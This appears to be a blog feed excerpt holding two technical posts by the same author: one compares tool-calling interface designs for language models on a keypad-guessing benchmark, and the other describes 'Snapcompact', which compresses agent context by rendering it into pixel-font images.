&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;probe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;position&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;digit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Sign&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# B. batch: same thing, arrays&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Probe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TypedDict&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;position&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;digit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;guess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;probe_many&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;probes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Probe&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Sign&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# C. exec: &amp;#34;clever&amp;#34; packing: 27 means position 2, digit 7.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;probes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Sign&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# D. vector: try a full code, get a sign back per position, borderline cheating, but whatever.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;guess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;check&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Sign&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# E. unicode: we give it no tools at all, ask it to reply in emoji 🔍2=7 to probe, 🔑01756 to submit&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Rank them. No seriously, actually commit to a ranking before you scroll, which one do you think wins? (efficiency &amp;amp; win-rate).&lt;/p&gt;
&lt;p&gt;If you ranked by how proper they look, or according to &amp;ldquo;le official prompting guide&amp;rdquo; you put E last. Let&amp;rsquo;s see.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="0x1-the-scoreboard"&gt;&lt;span class="hx"&gt;0x1:&lt;/span&gt; The Scoreboard&lt;/h2&gt;
&lt;p&gt;You can see the actual setup &lt;a href="https://i.can.ac/s/Mbxt5h"&gt;here&lt;/a&gt; so no cheating. Same system-prompt and all that, feel free to repro.&lt;/p&gt;
&lt;style&gt;
.toolcalling-scoreboard-inline {
max-width: 760px;
}
&lt;/style&gt;
&lt;toolcalling-scoreboard-20260803 class="viz-embed toolcalling-scoreboard-inline" model="gpt-oss-120b"&gt;&lt;/toolcalling-scoreboard-20260803&gt;
&lt;script src="./toolcalling/scoreboard-20260803.js" defer&gt;&lt;/script&gt;
&lt;blockquote&gt;
&lt;p&gt;OK but Can, models got a lot better since then! This is a very weak model!!!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;style&gt;
.toolcalling-scoreboard-inline {
max-width: 760px;
}
&lt;/style&gt;
&lt;toolcalling-scoreboard-20260803 class="viz-embed toolcalling-scoreboard-inline" model="gpt-5.6-luna"&gt;&lt;/toolcalling-scoreboard-20260803&gt;
&lt;script src="./toolcalling/scoreboard-20260803.js" defer&gt;&lt;/script&gt;
&lt;blockquote&gt;
&lt;p&gt;OK but Can, clearly parallel tool calls didn&amp;rsquo;t work here! Plus Luna is still not a frontier model! You cannot ask it to operate two tools!!!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;style&gt;
.toolcalling-scoreboard-inline {
max-width: 760px;
}
&lt;/style&gt;
&lt;toolcalling-scoreboard-20260803 class="viz-embed toolcalling-scoreboard-inline" model="opus 5"&gt;&lt;/toolcalling-scoreboard-20260803&gt;
&lt;script src="./toolcalling/scoreboard-20260803.js" defer&gt;&lt;/script&gt;
&lt;p&gt;Now at this point, without prior knowledge, your reaction is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&amp;ldquo;Huh?&amp;rdquo;&lt;/li&gt;
&lt;li&gt;&amp;ldquo;Seeeee the frontier model can do binary search just fine!!! LGTM&amp;rdquo;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In which case I&amp;rsquo;d like to remind you:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Emoji still spent 2x less tokens&lt;/li&gt;
&lt;li&gt;If this was a real task, emoji one could have used a 100x cheaper model, matched you in wr%, and would be miles ahead in terms of speed &amp;amp; cost&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To explain any of this, we have to go a layer down.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="0x2-ruining-the-magic"&gt;&lt;span class="hx"&gt;0x2:&lt;/span&gt; Ruining the Magic&lt;/h2&gt;
&lt;p&gt;A language model computes one thing: given a sequence of tokens, a probability distribution over the next one. Run it in a loop and that&amp;rsquo;s autoregression. Forward pass ends in a logit per vocabulary entry; softmax =&amp;gt; probabilities; temperature flattens or sharpens; top-p chops the tail; sampler draws: 1 token.&lt;/p&gt;
&lt;p&gt;So here&amp;rsquo;s a phrase to delete from your vocabulary: &amp;ldquo;the model decided to call a tool.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s no such thing, in fact, there&amp;rsquo;s also no such thing as a user turn, assistant turn, system prompt, all your fancy concepts essentially end up being delimiters in a thread, passed to the completion loop.&lt;/p&gt;
&lt;p&gt;Claude never even receives your &lt;code&gt;tools&lt;/code&gt; array. For example, the &lt;code&gt;probe&lt;/code&gt; tool lands like this in harmony (OpenAI&amp;rsquo;s format), as a developer message:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;# Tools
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;## functions
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;namespace functions {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;// Compare one digit guess against the secret door keypad digit
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;// at a 1-indexed position. Returns -1 too low, 0 exact, +1 too high.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;type probe = (_: {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;// keypad position, 1 through 5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;position: number,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;// digit guess, 0 through 9
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;digit: number,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;}) =&amp;gt; any;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;} // namespace functions&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Your schema is documentation; validation happens in your code, maaaybe if the inference provider feels like it, they will validate it. Maaaybe they might push the inference engine towards outputting valid arguments.&lt;/p&gt;
&lt;p&gt;The descriptions you put in your schema, the mins, the maxes, you don&amp;rsquo;t even know if they will be displayed, let alone checked. Sorry!&lt;/p&gt;
&lt;p&gt;A &amp;ldquo;call&amp;rdquo; is the model outputting:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&amp;lt;function_calls&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&amp;lt;invoke name=&amp;#34;bash&amp;#34;&amp;gt;&amp;lt;parameter name=&amp;#34;arg_name&amp;#34;&amp;gt;arg value&amp;lt;/parameter&amp;gt;&amp;lt;/invoke&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&amp;lt;/function_calls&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Parallel tool calls? Multiple &lt;code&gt;&amp;lt;invoke&amp;gt;&lt;/code&gt; blocks inside the same &lt;code&gt;&amp;lt;function_calls&amp;gt;&lt;/code&gt; block. Not all that magical, is it?&lt;/p&gt;
&lt;p&gt;&lt;em&gt;If you&amp;rsquo;re curious about the rest of the dialects, you can see the whole list of different ones &lt;a href="https://github.com/can1357/oh-my-pi/tree/main/packages/ai/src/dialect"&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="0x3-lets-rank-again"&gt;&lt;span class="hx"&gt;0x3:&lt;/span&gt; Let&amp;rsquo;s Rank Again&lt;/h2&gt;
&lt;p&gt;Once you see the token stream, the scoreboard stops being mysterious.&lt;/p&gt;
&lt;h3 id="worst-naive"&gt;Worst: Naive&lt;/h3&gt;
&lt;p&gt;Arguably the kind of tool design most of the vibe-coded mcp&amp;rsquo;s go with, it can only be efficient with parallel-tool calls and has lots of room for failure.&lt;/p&gt;
&lt;h3 id="ok-batch--exec"&gt;OK: Batch | Exec&lt;/h3&gt;
&lt;p&gt;One step further, designed by someone who cares; see: Pi&amp;rsquo;s edit tool. But unlike the prior one, it now requires the model to emit JSON. (huh what why?)&lt;/p&gt;
&lt;p&gt;Well my friend, you should know this now! See, for each &lt;code&gt;&amp;lt;parameter&amp;gt;&lt;/code&gt; block, if the argument is a primitive, the model can just output the plain value afterwards. The delimiter &lt;code&gt;&amp;lt;/parameter&amp;gt;&lt;/code&gt; is a special token, so no need to worry about escaping!&lt;/p&gt;
&lt;p&gt;But if it&amp;rsquo;s a complex object or an array? Well, it now has to emit a valid JSON escaped value, which needs to be parsed back, or a tool calling error happens! Funny enough, for the frontier models, this one will perform the worst, as parallel-tool calls will lift up the naive one.&lt;/p&gt;
&lt;h3 id="best-vector"&gt;Best: Vector&lt;/h3&gt;
&lt;p&gt;This is again a step further, now it&amp;rsquo;s a flat parameter set! It also forces the model into making at least 5 comparisons for each round. This is arguably the best kind of design you could come up with, given the problem statement we started with. The &lt;code&gt;guess&lt;/code&gt; function being a separate thing is one drawback, but I kinda forced your hand.&lt;/p&gt;
&lt;p&gt;It still has the usual failure modes though. For instance, sampling errors that lead to calls like &lt;code&gt;to=functions.check.commentary (json.Xna 天天送钱 code 】&lt;/code&gt;, or models not emitting any calls.&lt;/p&gt;
&lt;h3 id="winner-chad-"&gt;Winner: Chad 😎&lt;/h3&gt;
&lt;p&gt;No nesting, no special tokens, very easy to parse, and &lt;code&gt;🔍2=7&lt;/code&gt; almost has no room for failure. Maybe some model will emit &lt;code&gt;2-&amp;gt;7&lt;/code&gt;, but you can easily correct. They can put garbage before, after, you don&amp;rsquo;t care.&lt;/p&gt;
&lt;p&gt;This was very very obvious, hopefully, it is to you now as well.&lt;/p&gt;
&lt;p&gt;Rule of thumb: reliability degrades with &lt;strong&gt;nesting x heterogeneity × cleverness&lt;/strong&gt;, and you &lt;strong&gt;NEED&lt;/strong&gt; the harness to handle the common failure modes of the dialect. I&amp;rsquo;m sorry, real-life isn&amp;rsquo;t pretty!&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="0x4-wontfix"&gt;&lt;span class="hx"&gt;0x4:&lt;/span&gt; #wontfix&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;OK but Can, labs RL these models on millions of agent trajectories now! Native tool calls ARE the trained path!!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Largely true, post-training genuinely shoves probability mass toward the tool channel, but:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;exec is still 7/10 on luna.&lt;/strong&gt; RL teaches the shapes RL practiced: flat args, boring schemas. Your clever packing doesn&amp;rsquo;t inherit that reliability; it&amp;rsquo;s off-distribution for the tool-RL exactly like it was for the base model.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;it didn&amp;rsquo;t hit zero.&lt;/strong&gt; Opus still dropped a room to a call-free reply (batch, 9/10). Reliability is rate × exposure, and real agents run thousands of turns, not 24. A per-turn failure rate too small to see in this demo is still a certainty at scale.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;the meter doesn&amp;rsquo;t care.&lt;/strong&gt; Opus matched E&amp;rsquo;s 10/10 but still paid 2-3x its token bill. You still wasted a lot of envelope tokens.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;you needed the frontier.&lt;/strong&gt; Hopefully self-explanatory, but, do you really need opus for this trivial task? If you do, isn&amp;rsquo;t it your failure as the designer?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;They&amp;rsquo;re your protocol&amp;rsquo;s shortcomings, they collect rent every single turn: needing a smarter model, more tool call failures, more verbose output&amp;hellip;&lt;/p&gt;
&lt;p&gt;No, I&amp;rsquo;m not telling you to ship emoji. The moment you have 10 tools instead of 2, native tool-calls win on ergonomics alone and I use it like everyone else. The point is that you now know why E obviously won.&lt;/p&gt;
&lt;p&gt;You also know how to design tools that will try their best, just like D did; as well as why the minimal harness is not what you want. Assistant leaked the function call into its output text? Now, you have to deal with that, hf!&lt;/p&gt;
&lt;p&gt;The models may have gotten smarter, but they do not think about all these things when you ask them to &amp;ldquo;add a tool for X&amp;rdquo;, or &amp;ldquo;make me an agent loop&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;It is in fact your responsibility to get the most out of a model: making it work with the smallest model, adding as many guardrails as possible, maximizing reliability across different families of models.&lt;/p&gt;
&lt;p&gt;You shouldn&amp;rsquo;t file a bug with the provider when you see &lt;code&gt;to=functions.check.commentary (json.Xna 天天送钱 code&lt;/code&gt;, and go to lunch. There is no fix coming!&lt;/p&gt;
&lt;p&gt;Two years later, I&amp;rsquo;m still doing the same thing I did with my mailbox: babying the model into actually doing the thing &amp;amp; designing the thinnest grammar I can get away with in between.&lt;/p&gt;</description></item><item><title>Snapcompact: SoTA Compaction — Instant, Local, Free. Pick 3</title><link>https://blog.can.ac/2026/06/10/snapcompact/</link><pubDate>Wed, 10 Jun 2026 00:00:00 +0000</pubDate><guid>https://blog.can.ac/2026/06/10/snapcompact/</guid><description>&lt;p&gt;A 1568×1568 PNG fits about 40,000 characters of text in a 6×10 pixel font. That&amp;rsquo;s ~10,000 tokens worth of text, billed by Anthropic&amp;rsquo;s pixel formula as 3,279 image tokens. Do you see where I&amp;rsquo;m going with this?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Snapcompact&lt;/strong&gt;: when the context window fills up, render it into dense pixel-font bitmaps and hand those back as images. &amp;ldquo;A picture is worth a thousand words&amp;rdquo; turns out to be quite literally true — the model reads it back near-verbatim, at a third of the input price. Obligatory benchmark:&lt;/p&gt;
&lt;style&gt;
.snapcompact-price-inline {
max-width: 760px;
}
&lt;/style&gt;
&lt;snapcompact-price-20260610 class="viz-embed snapcompact-price-inline"&gt;&lt;/snapcompact-price-20260610&gt;
&lt;script src="./snapcompact/price/price-20260610.js" defer&gt;&lt;/script&gt;
&lt;p&gt;This started as a joke (&amp;ldquo;free token glitch lol&amp;rdquo;). Then I benchmarked it, identified where it went wrong, cracked open Qwen&amp;rsquo;s attention layer, fixed the issues, benchmarked it again — and here I am writing it up, because it generalized remarkably well to frontier models.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="0x0-the-case-against-compaction"&gt;&lt;span class="hx"&gt;0x0:&lt;/span&gt; The Case Against Compaction&lt;/h2&gt;
&lt;p&gt;I am not a big fan of compaction. In every single harness, including my own, I&amp;rsquo;ve always felt like it &amp;ldquo;crippled&amp;rdquo; the model to the point where you would have been better off with a completely new session.&lt;/p&gt;
&lt;p&gt;Eliding tool results is an okay alternative — instant, deterministic — but sometimes not really sufficient. It also occasionally confuses the model about tool calling. LLMs complete stories; if half of your story is &lt;code&gt;[elided...]&lt;/code&gt;, how confident do you think it will be about using them?&lt;/p&gt;
&lt;p&gt;Handoffs are as good as it gets — but unlike a plan, you don&amp;rsquo;t usually steer the handoffs, and when you don&amp;rsquo;t, agents waste precious context writing an unnecessarily detailed diary, followed by a TODO list that practically begs the next agent to declare the goal impossible and ship an &amp;ldquo;MVP&amp;rdquo; instead.&lt;/p&gt;
&lt;p&gt;My thinking was essentially that if you need compaction often, you&amp;rsquo;re doing something wrong: the plan either has scope creep, or should have been explicitly orchestrated via subagents so that the main agent could stay responsible for the entire scope.&lt;/p&gt;
&lt;p&gt;However, spoiled by the 1M context window, these days I often hit the 500k mark by the end of a session — a mortal sin in my book a few months ago. But long-horizon tasks do better when one coherent agent drives the plan uninterrupted, and that easily reaches those levels even with aggressive delegation.&lt;/p&gt;
&lt;p&gt;So there I was, staring at the 5h usage limit bar going red while this thing grinned back at me, thinking: maybe I should compact regularly&amp;hellip;&lt;/p&gt;
&lt;figure class="aligncenter"&gt;&lt;img src="./2026/06/10/snapcompact/grin.webp" width="50%"&gt;
&lt;/figure&gt;
&lt;p&gt;Fine. But if I have to compact, it&amp;rsquo;s going to lose nothing.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="0x1-a-stupid-experiment"&gt;&lt;span class="hx"&gt;0x1:&lt;/span&gt; A Stupid Experiment&lt;/h2&gt;
&lt;p&gt;It began with a 328KB session log and a simple question: what if I just printed this thing out and started the session with it?&lt;/p&gt;
&lt;p&gt;Attempt one was maximally greedy: &lt;a href="https://robey.lag.net/2010/01/23/tiny-monospace-font.html"&gt;Tom Thumb&lt;/a&gt;, a 3×5 pixel font, 122,696 characters in a single image.&lt;/p&gt;
&lt;p&gt;I sent it to a fresh agent session, zero explanation, and got back:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The image appears to be pure noise with random pixels, which suggests it might be corrupted or a file that&amp;rsquo;s been misnamed as PNG.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Fair. Attempt two used the X11 &lt;code&gt;6x10&lt;/code&gt; font (glyphs actually designed for that cell size), 40,716 characters, with each text row cycling through six colors. Same model, and there it was:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It identified the session&amp;rsquo;s topic and &lt;strong&gt;quoted me back verbatim&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;It named 18 identifiers from the log with 100% recall.&lt;/li&gt;
&lt;li&gt;Asked about a single assignment in the bottom-most row of the image, where the log cuts off, it hedged (&amp;ldquo;I&amp;rsquo;d be guessing — possibly &lt;code&gt;0&lt;/code&gt;&amp;rdquo;) — and guessed the state right.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;10k tokens of text, carried by 3,279 image tokens, recalled with near-perfect precision. Okay. Now I&amp;rsquo;m invested.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="0x2-optimizing-the-fonts"&gt;&lt;span class="hx"&gt;0x2:&lt;/span&gt; Optimizing the Fonts&lt;/h2&gt;
&lt;p&gt;How small can the font go? I swept some font configurations and asked the model to transcribe fixed regions, scoring edit similarity against ground truth:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;font&lt;/th&gt;
&lt;th style="text-align: right"&gt;px²/char&lt;/th&gt;
&lt;th style="text-align: right"&gt;chars/image&lt;/th&gt;
&lt;th style="text-align: right"&gt;transcription&lt;/th&gt;
&lt;th style="text-align: right"&gt;identifiers read&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;8×13&lt;/td&gt;
&lt;td style="text-align: right"&gt;104&lt;/td&gt;
&lt;td style="text-align: right"&gt;23,520&lt;/td&gt;
&lt;td style="text-align: right"&gt;1.00&lt;/td&gt;
&lt;td style="text-align: right"&gt;20/20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6×10&lt;/td&gt;
&lt;td style="text-align: right"&gt;60&lt;/td&gt;
&lt;td style="text-align: right"&gt;40,716&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.79&lt;/td&gt;
&lt;td style="text-align: right"&gt;20/20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5×8&lt;/td&gt;
&lt;td style="text-align: right"&gt;40&lt;/td&gt;
&lt;td style="text-align: right"&gt;61,348&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.37&lt;/td&gt;
&lt;td style="text-align: right"&gt;17/19&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5×7&lt;/td&gt;
&lt;td style="text-align: right"&gt;35&lt;/td&gt;
&lt;td style="text-align: right"&gt;70,112&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.30&lt;/td&gt;
&lt;td style="text-align: right"&gt;10/20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4×6&lt;/td&gt;
&lt;td style="text-align: right"&gt;24&lt;/td&gt;
&lt;td style="text-align: right"&gt;102,312&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.02&lt;/td&gt;
&lt;td style="text-align: right"&gt;9/20&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The cliff is sharp and it sits around &lt;strong&gt;35–40 px² per character&lt;/strong&gt;. Above it, exact transcription degrades but &lt;em&gt;identifier-level&lt;/em&gt; recall stays weirdly strong: the model can&amp;rsquo;t reproduce every byte, but it reads the names. Below it, nothing.&lt;/p&gt;
